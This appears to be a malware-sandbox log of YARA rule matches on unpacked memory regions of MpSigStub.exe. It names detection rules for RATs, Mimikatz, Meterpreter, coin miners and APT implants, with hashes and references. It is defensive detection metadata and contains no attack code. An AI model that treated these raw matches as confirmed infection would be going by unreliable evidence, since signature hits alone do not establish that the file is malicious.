        Source: 35.3.MpSigStub.exe.15b1b887722.80.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
        Source: 35.3.MpSigStub.exe.15b1b887722.80.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
        Source: 35.3.MpSigStub.exe.15b1b887722.80.unpack, type: UNPACKEDPEMatched rule: SUSP_PDB_Path_Keywords date = 2019-10-04, author = Florian Roth, description = Detects suspicious PDB paths, reference = https://twitter.com/stvemillertime/status/1179832666285326337?s=20
        Source: 35.3.MpSigStub.exe.15b1b887722.80.unpack, type: UNPACKEDPEMatched rule: Certutil_Decode_OR_Download author = Florian Roth, description = Certutil Decode, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2017-08-29
        Source: 35.3.MpSigStub.exe.15b1b887722.80.unpack, type: UNPACKEDPEMatched rule: Greenbug_Malware_4 date = 2017-01-25, hash2 = 82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9, author = Florian Roth, description = Detects ISMDoor Backdoor, reference = https://goo.gl/urp4CD, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f
        Source: 35.3.MpSigStub.exe.15b1b4cce16.61.unpack, type: UNPACKEDPEMatched rule: hacktool_macos_keylogger_logkext author = @mimeframe, description = LogKext is an open source keylogger for Mac OS X, a product of FSB software., reference = https://github.com/SlEePlEs5/logKext
        Source: 35.3.MpSigStub.exe.15b1b4cce16.61.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Strings date = 2016-06-08, author = Florian Roth, description = Detects Mimikatz strings, reference = not set, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1b4cce16.61.unpack, type: UNPACKEDPEMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
        Source: 35.3.MpSigStub.exe.15b1b4cce16.61.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1c2da78e.83.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1c2d858a.84.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b4cce16.92.unpack, type: UNPACKEDPEMatched rule: hacktool_macos_keylogger_logkext author = @mimeframe, description = LogKext is an open source keylogger for Mac OS X, a product of FSB software., reference = https://github.com/SlEePlEs5/logKext
        Source: 35.3.MpSigStub.exe.15b1b4cce16.92.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Strings date = 2016-06-08, author = Florian Roth, description = Detects Mimikatz strings, reference = not set, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1b4cce16.92.unpack, type: UNPACKEDPEMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
        Source: 35.3.MpSigStub.exe.15b1b4cce16.92.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1a8daa72.66.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPEMatched rule: MiniRAT_Gen_1 date = 2018-01-22, hash5 = 675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd, hash4 = ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790, hash3 = ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2, hash2 = b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d, hash1 = 091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b, author = Florian Roth, description = Detects Mini RAT malware, reference = https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPEMatched rule: malware_sakula_xorloop author = David Cannings, description = XOR loops from Sakula malware, md5 = fc6497fe708dbda9355139721b6181e7
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPEMatched rule: RAT_Sakula date = 2015-10-13, author = Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou / NCC Group David Cannings, description = Detects Sakula v1.0 RAT, reference = http://blog.airbuscybersecurity.com/public/YFR/sakula_v1x.yara
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPEMatched rule: HackTool_MSIL_SharpHound_3 author = FireEye, description = The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the \'.csproj\' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = eeedc09570324767a3de8205f66a5295
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_SharpHound3 date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/BloodHoundAD/SharpHound3, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: MiniRAT_Gen_1 date = 2018-01-22, hash5 = 675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd, hash4 = ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790, hash3 = ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2, hash2 = b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d, hash1 = 091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b, author = Florian Roth, description = Detects Mini RAT malware, reference = https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: malware_sakula_xorloop author = David Cannings, description = XOR loops from Sakula malware, md5 = fc6497fe708dbda9355139721b6181e7
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: HackTool_Samples description = Hacktool, score =
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: RAT_Sakula date = 2015-10-13, author = Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou / NCC Group David Cannings, description = Detects Sakula v1.0 RAT, reference = http://blog.airbuscybersecurity.com/public/YFR/sakula_v1x.yara
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: HackTool_MSIL_SharpHound_3 author = FireEye, description = The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the \'.csproj\' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = eeedc09570324767a3de8205f66a5295
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_SharpHound3 date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/BloodHoundAD/SharpHound3, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: MirageStrings author = Seth Hardy, description = Mirage Identifying Strings, last_modified = 2014-06-25
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: MiniRAT_Gen_1 date = 2018-01-22, hash5 = 675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd, hash4 = ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790, hash3 = ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2, hash2 = b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d, hash1 = 091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b, author = Florian Roth, description = Detects Mini RAT malware, reference = https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Gazer_logfile_name date = 30.08.2017, author = ESET, description = Detects Tura\'s Gazer malware, reference = https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, reference = Internal Research, score = 2017-07-17, modified = 2021-03-15, nodeepdive =
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: REDLEAVES_DroppedFile_ImplantLoader_Starburn author = USG, description = Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT, reference = https://www.us-cert.gov/ncas/alerts/TA17-117A, true_positive = 7f8a867a8302fe58039a6db254d335ae
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: ZxShell_Jul17 date = 2017-07-08, hash1 = 5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16, author = Florian Roth, description = Detects a ZxShell - CN threat group, reference = https://blogs.rsa.com/cat-phishing/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: malware_sakula_xorloop author = David Cannings, description = XOR loops from Sakula malware, md5 = fc6497fe708dbda9355139721b6181e7
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: IMPLANT_4_v5 date = 2017-02-10, author = US CERT, description = BlackEnergy / Voodoo Bear Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: IMPLANT_5_v3 date = 2017-02-10, author = US CERT, description = XTunnel Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: RAT_Sakula date = 2015-10-13, author = Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou / NCC Group David Cannings, description = Detects Sakula v1.0 RAT, reference = http://blog.airbuscybersecurity.com/public/YFR/sakula_v1x.yara
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: TA17_293A_malware_1 date = 2017/07/17, hash5 = 038A97B4E2F37F34B255F0643E49FC9D, hash4 = 04738CA02F59A5CD394998A99FCD9613, hash3 = 8943E71A8C73B5E343AA9D2E19002373, hash2 = BA756DD64C1147515BA2298B6A760260, hash1 = A07AA521E7CAFB360294E56969EDA5D6, hash0 = 61C909D2F625223DB2FB858BBDF42A76, author = US-CERT Code Analysis Team (modified by Florian Roth), description = inveigh pen testing tools & related artifacts, hash10 = 4595DBE00A538DF127E0079294C87DA0, hash9 = 722154A36F32BA10E98020A8AD758A7A, hash8 = 5DBEF7BDDAF50624E840CCBCE2816594, hash7 = AA905A3508D9309A93AD5C0EC26EBC9B, hash6 = 65A1A73253F04354886F375B59550B46, reference = https://www.us-cert.gov/ncas/alerts/TA17-293A
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Strings date = 2016-06-08, author = Florian Roth, description = Detects Mimikatz strings, reference = not set, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GORAT_5 date = 2020-12-02, author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, modified = 2020-12-02, md5 = cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GoRat_Memory author = FireEye, description = Identifies GoRat malware in memory based on strings., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 3b926b5762e13ceec7ac3a61e85c93bb
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: HackTool_MSIL_SharpHound_3 author = FireEye, description = The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the \'.csproj\' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = eeedc09570324767a3de8205f66a5295
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_CsharpAmsiBypass date = 2020-12-13, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/WayneJLee/CsharpAmsiBypass, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_SharpHound3 date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/BloodHoundAD/SharpHound3, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: ROKRAT_Nov17_1 date = 2017-11-28, author = Florian Roth, description = Detects ROKRAT malware, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: vanquish_2 author = Yara Bulk Rule Generator by Florian Roth, description = Webshells Auto-generated - file vanquish.exe, hash = 2dcb9055785a2ee01567f52b5a62b071
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: malware_red_leaves_memory author = David Cannings, description = Red Leaves C&C left in memory, use with Volatility / Rekall
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: gh0st author = https://github.com/jackcr/
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Msfpayloads_msf_psh date = 2017-02-09, hash1 = 5cc6c7f1aa75df8979be4a16e36cece40340c6e192ce527771bdd6463253e46f, author = Florian Roth, description = Metasploit Payloads - file msf-psh.vba, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Gazer_logfile_name date = 30.08.2017, author = ESET, description = Detects Tura\'s Gazer malware, reference = https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, reference = Internal Research, score = 2017-07-17, modified = 2021-03-15, nodeepdive =
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: REDLEAVES_DroppedFile_ImplantLoader_Starburn author = USG, description = Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT, reference = https://www.us-cert.gov/ncas/alerts/TA17-117A, true_positive = 7f8a867a8302fe58039a6db254d335ae
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: APT_PupyRAT_PY date = 2017-02-17, hash1 = 8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71, author = Florian Roth, description = Detects Pupy RAT, reference = https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: SUSP_Script_Obfuscation_Char_Concat date = 2018-10-04, hash1 = b30cc10e915a23c7273f0838297e0d2c9f4fc0ac1f56100eef6479c9d036c12b, author = Florian Roth, description = Detects strings found in sample from CN group repo leak in October 2018, reference = https://twitter.com/JaromirHorejsi/status/1047084277920411648
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: SUSP_PDB_Path_Keywords date = 2019-10-04, author = Florian Roth, description = Detects suspicious PDB paths, reference = https://twitter.com/stvemillertime/status/1179832666285326337?s=20
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: IMPLANT_4_v5 date = 2017-02-10, author = US CERT, description = BlackEnergy / Voodoo Bear Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: IMPLANT_5_v3 date = 2017-02-10, author = US CERT, description = XTunnel Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: MAL_AirdViper_Sample_Apr18_1 date = 2018-05-04, hash1 = 9f453f1d5088bd17c60e812289b4bb0a734b7ad2ba5a536f5fd6d6ac3b8f3397, author = Florian Roth, description = Detects Arid Viper malware sample, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Pupy_Backdoor date = 2017-08-11, hash5 = 06bb41c12644ca1761bcb3c14767180b673cb9d9116b555680073509e7063c3e, hash4 = 20e19817f72e72f87c794843d46c55f2b8fd091582bceca0460c9f0640c7bbd8, hash3 = 90757c1ae9597bea39bb52a38fb3d497358a2499c92c7636d71b95ec973186cc, hash2 = 83380f351214c3bd2c8e62430f70f8f90d11c831695027f329af04806b9f8ea4, hash1 = ae93714203c7ab4ab73f2ad8364819d16644c7649ea04f483b46924bd5bc0153, author = Florian Roth, description = Detects Pupy backdoor, hash7 = 8784c317e6977b4c201393913e76fc11ec34ea657de24e957d130ce9006caa01, hash6 = be83c513b24468558dc7df7f63d979af41287e568808ed8f807706f6992bfab2, reference = https://github.com/n1nj4sec/pupy-binaries, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: TA17_293A_malware_1 date = 2017/07/17, hash5 = 038A97B4E2F37F34B255F0643E49FC9D, hash4 = 04738CA02F59A5CD394998A99FCD9613, hash3 = 8943E71A8C73B5E343AA9D2E19002373, hash2 = BA756DD64C1147515BA2298B6A760260, hash1 = A07AA521E7CAFB360294E56969EDA5D6, hash0 = 61C909D2F625223DB2FB858BBDF42A76, author = US-CERT Code Analysis Team (modified by Florian Roth), description = inveigh pen testing tools & related artifacts, hash10 = 4595DBE00A538DF127E0079294C87DA0, hash9 = 722154A36F32BA10E98020A8AD758A7A, hash8 = 5DBEF7BDDAF50624E840CCBCE2816594, hash7 = AA905A3508D9309A93AD5C0EC26EBC9B, hash6 = 65A1A73253F04354886F375B59550B46, reference = https://www.us-cert.gov/ncas/alerts/TA17-293A
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Strings date = 2016-06-08, author = Florian Roth, description = Detects Mimikatz strings, reference = not set, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GORAT_5 date = 2020-12-02, author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, modified = 2020-12-02, md5 = cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: CredTheft_MSIL_ADPassHunt_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 6efb58cf54d1bb45c057efcfbbd68a93
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: ROKRAT_Nov17_1 date = 2017-11-28, author = Florian Roth, description = Detects ROKRAT malware, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: vanquish_2 author = Yara Bulk Rule Generator by Florian Roth, description = Webshells Auto-generated - file vanquish.exe, hash = 2dcb9055785a2ee01567f52b5a62b071
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: malware_red_leaves_memory author = David Cannings, description = Red Leaves C&C left in memory, use with Volatility / Rekall
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: PoisonIvy_3 filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, cape_type = PoisonIvy Payload, ref = http://malwareconfig.com/stats/PoisonIvy
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: MiniRAT_Gen_1 date = 2018-01-22, hash5 = 675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd, hash4 = ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790, hash3 = ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2, hash2 = b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d, hash1 = 091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b, author = Florian Roth, description = Detects Mini RAT malware, reference = https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Gazer_logfile_name date = 30.08.2017, author = ESET, description = Detects Tura\'s Gazer malware, reference = https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, reference = Internal Research, score = 2017-07-17, modified = 2021-03-15, nodeepdive =
